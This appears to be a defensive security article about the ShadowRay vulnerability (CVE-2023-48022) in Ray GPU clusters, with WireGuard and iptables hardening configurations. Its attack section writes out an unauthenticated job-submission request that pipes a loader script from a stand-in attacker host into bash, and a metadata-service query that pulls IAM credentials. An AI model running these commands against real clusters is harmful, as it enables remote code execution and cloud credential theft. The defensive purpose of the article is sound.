The rapid expansion of generative foundation models and distributed deep learning has turned graphics processing unit (GPU) computing clusters into the most valuable compute infrastructure in enterprise technology. To orchestrate model pre-training, reinforcement learning from human feedback (RLHF), and high-throughput inference serving across hundreds of interconnected GPU nodes, organizations rely heavily on distributed computing frameworks.
Among these, Ray—developed by Anyscale and widely adopted across technology leaders and AI research laboratories—has become an industry standard. However, the architectural design of Ray prioritized high-velocity distributed execution in trusted environments over zero-trust network boundaries. The absence of native mutual authentication in its default management daemons opened the door to widespread exploitation, cataloged under CVE-2023-48022 and popularized as the ShadowRay attack campaign.
+-------------------------------------------------------------------------------+
| SHADOWRAY GPU CLUSTER EXPLOITATION |
+-------------------------------------------------------------------------------+
| 1. Unauthenticated Port Scanning |
| └─ Internet / Corporate LAN Scanner detects open Ray Dashboard (TCP 8265) |
| 2. Remote Job Injection via REST API |
| └─ Attacker posts unauthenticated payload to: POST /api/jobs/ |
| 3. Distributed Task Dispatch via Raylet Workers |
| └─ Ray Head node dispatches executable tasks across worker nodes (TCP 10001)|
| 4. Arbitrary Remote Code Execution (RCE) on GPU Workers |
| └─ Shell commands execute under worker daemon permissions |
| 5. Post-Exploitation & Lateral Expansion |
| ├─ Hijacking NVIDIA H100/A100 GPUs for cryptomining (T1496) |
| ├─ Querying Cloud Metadata Services (169.254.169.254) for IAM tokens |
| └─ Exfiltrating model checkpoints (.safetensors) and proprietary datasets |
+-------------------------------------------------------------------------------+
Securing distributed AI infrastructure requires moving beyond default application-layer trust and enforcing a strict Layer 3 cryptographic mesh perimeter.
Technical Architecture of Ray and the Root Cause of CVE-2023-48022
Ray operates as a master-worker distributed orchestration framework. Understanding its network attack surface requires examining how its internal daemons communicate.
1. Ray Topology and Component Ports
A standard Ray deployment consists of a single Head Node and multiple Worker Nodes:
- Ray Dashboard & Jobs API (Port 8265): Provides telemetry visualization, system logs, and an HTTP REST interface for programmatically submitting Python computational jobs (
/api/jobs/). - Global Control Store (GCS) (Port 6379): Manages metadata, task assignments, and lineage using an embedded key-value datastore.
- Ray Client Server (Port 10001): Facilitates interactive remote Python sessions directly into the cluster.
- Raylet & Plasma Object Store (Ports 10002–19999): Handles inter-node shared memory management, remote procedure calls (RPC), and GPU data tensor transfers.
Ray Network Architecture:
[ External Network / Untrusted Subnet ]
│
▼ (Insecure Ingress: TCP 8265 / 10001)
┌────────────────────────────────────────────────────────┐
│ Ray Head Node │
│ ├── Dashboard Web UI & REST API (Port 8265) │
│ ├── Global Control Store (GCS) (Port 6379) │
│ └── Ray Client Server (Port 10001) │
└───────────────────────┬────────────────────────────────┘
│ Internal gRPC / RPC
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────────┐ ┌──────────────────────┐
│ Ray Worker Node 1 │ │ Ray Worker Node 2 │
│ ├── Raylet (Worker) │ │ ├── Raylet (Worker) │
│ └── 8x NVIDIA H100 │ │ └── 8x NVIDIA H100 │
└──────────────────────┘ └──────────────────────┘
2. The Mechanics of ShadowRay (CVE-2023-48022)
By initial design, Ray did not implement an internal authentication mechanism. The framework assumed that security would be enforced exclusively by external perimeter firewalls. When development teams deploy Ray in Kubernetes environments via the KubeRay operator or on raw virtual instances, services are frequently exposed to 0.0.0.0 or bound to ingress controllers without authentication middlewares.
An attacker scanning for open TCP 8265 endpoints can submit arbitrary shell commands using a standard HTTP request:
# Submitting an unauthorized malicious computational job to Ray Head Node
curl -X POST "http://<target-ray-head>:8265/api/jobs/" \
-H "Content-Type: application/json" \
-d '{
"entrypoint": "curl -s http://attacker-c2[.]xyz/loader.sh | bash",
"runtime_env": {
"env_vars": {"CLUSTER_TARGET": "ai-training"}
}
}'
Once submitted, the Ray Head node registers the job with the GCS, schedules the workload, and pushes the command to the Raylet daemons across all worker nodes. The script executes natively on high-performance GPU nodes with the full permissions of the user running the worker process (often root inside Docker containers).
3. Lateral Movement and AWS/GCP Metadata Harvesting
Once code execution is achieved inside a worker container, automated threat actors query the cloud provider Link-Local Instance Metadata Service (IMDS):
# Querying IMDSv1 to extract cloud IAM credentials from within the Ray container
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
With stolen IAM temporary tokens, attackers escalate privileges across the organization's cloud infrastructure, exfiltrate model weights stored in Amazon S3 or Google Cloud Storage, or spin up thousands of unauthorized GPU instances.
Network Kill Chain and Exfiltration Vulnerabilities
While software developers often attempt to mitigate ShadowRay by deploying reverse proxies (such as Nginx with Basic Auth) in front of port 8265, this provides only superficial protection. Internal node-to-node communication ports (6379, 10001, and dynamic worker ports) remain unauthenticated and unencrypted across the local network fabric.
In a flat data center network, an intrusion on any adjacent development server allows attackers to intercept internal Ray RPC traffic, inject poisoned task arguments, or monitor raw model checkpoints flowing across unencrypted TCP streams.
Cluster Network Threat Vectors:
[ Attacker / Compromised LAN Peer ]
│
├── (1) Direct Probe to Port 8265 -> Unauthenticated Jobs API RCE
│
├── (2) Cloud Metadata Exfiltration -> Queries 169.254.169.254 for IAM keys
│
├── (3) Internal Node Sniffing -> Cleartext GCS/RPC intercepts model tensors
│
└── (4) C2 Reverse Shell Egress -> Outbound TCP connection to attacker IP
True resilience requires decoupling the cluster from public routing and wrapping all inter-node communication within an encrypted, zero-trust Layer 3 overlay network.
Zero-Trust Defense Architecture: WireGuard Mesh & Microsegmentation
To neutralize ShadowRay and protect proprietary AI training assets, organizations must implement a multi-layered security framework combining network namespace isolation, Layer 3 WireGuard peer-to-peer encryption, and strict egress firewalling.
+-------------------------------------------------------------------------------+
| SECURE AI GPU CLUSTER ARCHITECTURE |
+-------------------------------------------------------------------------------+
| Layer 1: Cryptographic WireGuard L3 Overlay (10.66.0.0/24) |
| ├─ All Ray Head & Worker communication restricted to private virtual mesh |
| ├─ ChaCha20-Poly1305 encryption on all inter-node gRPC and object store traffic|
| └─ Zero exposure to physical eth0 LAN or public IP interfaces |
+-------------------------------------------------------------------------------+
| Layer 2: Egress Microsegmentation & Metadata Shielding |
| ├─ Drop all outbound traffic to 169.254.169.254 except from authorized init |
| ├─ Quarantine outbound traffic; worker nodes cannot dial unauthorized IPs |
| └─ Protective Anycast recursive DNS sinkholes malicious C2 staging domains |
+-------------------------------------------------------------------------------+
| Layer 3: Remote Administration via Encrypted VPN Client |
| ├─ Ray Dashboard (8265) bound strictly to WireGuard IP (10.66.0.1) |
| ├─ Engineers connect via authenticated WireGuard / RiceGuard client tunnels |
| └─ Immutable audit logging on all job submission endpoints |
+-------------------------------------------------------------------------------+
1. Building an Encrypted WireGuard Mesh for GPU Nodes
Rather than allowing Ray daemons to bind to standard host interfaces (0.0.0.0), each node in the cluster is assigned an encrypted WireGuard address within a dedicated subnet (e.g., 10.66.0.0/24).
Below is an optimized WireGuard configuration for the Ray Head Node:
# /etc/wireguard/wg-ai.conf (Ray Head Node)
[Interface]
Address = 10.66.0.1/24
PrivateKey = <Head_Node_Private_Key>
ListenPort = 51820
# Post-up routing and firewall isolation
PostUp = iptables -A INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
PostDown = iptables -D INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
# Worker Node 1
[Peer]
PublicKey = <Worker_1_Public_Key>
AllowedIPs = 10.66.0.11/32
Endpoint = 192.168.10.11:51820
PersistentKeepalive = 25
# Worker Node 2
[Peer]
PublicKey = <Worker_2_Public_Key>
AllowedIPs = 10.66.0.12/32
Endpoint = 192.168.10.12:51820
PersistentKeepalive = 25
When launching the Ray cluster, daemons are instructed to bind exclusively to the encrypted virtual interface:
# Starting Ray Head bound strictly to the WireGuard mesh IP
ray start --head \
--node-ip-address=10.66.0.1 \
--dashboard-host=10.66.0.1 \
--port=6379 \
--dashboard-port=8265 \
--disable-usage-stats
Similarly, each worker connects using its assigned WireGuard mesh IP (--address=10.66.0.1:6379 --node-ip-address=10.66.0.11). All inter-node traffic—including GCS state changes, RPC task dispatches, and large tensor memory transfers—is encrypted at wire speed with ChaCha20-Poly1305.
2. Egress Microsegmentation and Metadata Blocking
Even if an attacker gains initial shell access within a worker node, strict egress firewall rules must prevent reverse shells and cloud credential theft.
Below is an iptables firewall script enforcing metadata protection and egress containment on GPU worker machines:
#!/usr/bin/env bash
# Egress Isolation and Metadata Protection for GPU Cluster Nodes
set -euo pipefail
WG_IF="wg-ai"
METADATA_IP="169.254.169.254"
# Set default forwarding policy
iptables -P FORWARD DROP
# Flush rules
iptables -F
iptables -X
# Allow established connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Block access to cloud instance metadata service (IMDS) from worker containers
iptables -A OUTPUT -d "$METADATA_IP" -j DROP
# Allow cluster mesh communication over WireGuard
iptables -A OUTPUT -o "$WG_IF" -d 10.66.0.0/24 -j ACCEPT
# Drop all unauthorized outbound TCP connections to external networks
iptables -A OUTPUT -p tcp -m multiport --dports 22,80,443,4444,8080 -o eth0 -j DROP
# Direct all DNS traffic through secure Anycast resolver inside tunnel
iptables -t nat -A OUTPUT -p udp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -p tcp --dport 53 -j REJECT --reject-with tcp-reset
echo "GPU worker egress containment active."
Threat Simulation and Security Verification
To verify that your Ray cluster is completely shielded from unauthenticated access and metadata extraction, execute the following audit probes from outside the WireGuard mesh:
#!/usr/bin/env bash
# Security Verification Probe for Ray GPU Cluster
TARGET_IP="192.168.10.10" # Physical LAN IP of the Ray Head Node
echo "[*] Step 1: Probing Ray Dashboard port on physical interface..."
if nc -z -v -w 3 "$TARGET_IP" 8265 2>&1 | grep -q "succeeded"; then
echo "[!] CRITICAL: Port 8265 is reachable over physical network! Cluster is exposed."
else
echo "[+] SUCCESS: Port 8265 is closed or dropped on physical interface."
fi
echo "[*] Step 2: Probing Ray Client Server (Port 10001)..."
if nc -z -v -w 3 "$TARGET_IP" 10001 2>&1 | grep -q "succeeded"; then
echo "[!] CRITICAL: Port 10001 is reachable! Remote execution possible."
else
echo "[+] SUCCESS: Port 10001 is secured."
fi
If the audit confirms closed ports across physical interfaces, the cluster can only be accessed by authenticated operators connected through the WireGuard VPN tunnel.
Conclusion
The ShadowRay campaign demonstrated that modern AI development frameworks cannot rely on naive network trust. When orchestrating distributed computations across clusters holding millions of dollars in GPU hardware and sensitive training datasets, securing application ports alone is insufficient.
By deploying an isolated Layer 3 WireGuard cryptographic mesh, restricting Ray daemons to virtual overlay interfaces, and implementing strict egress microsegmentation, organizations establish a robust defense-in-depth posture. Even in dynamic multi-cloud environments, distributed AI workloads remain completely shielded from unauthorized inspection, compute hijacking, and proprietary model theft.



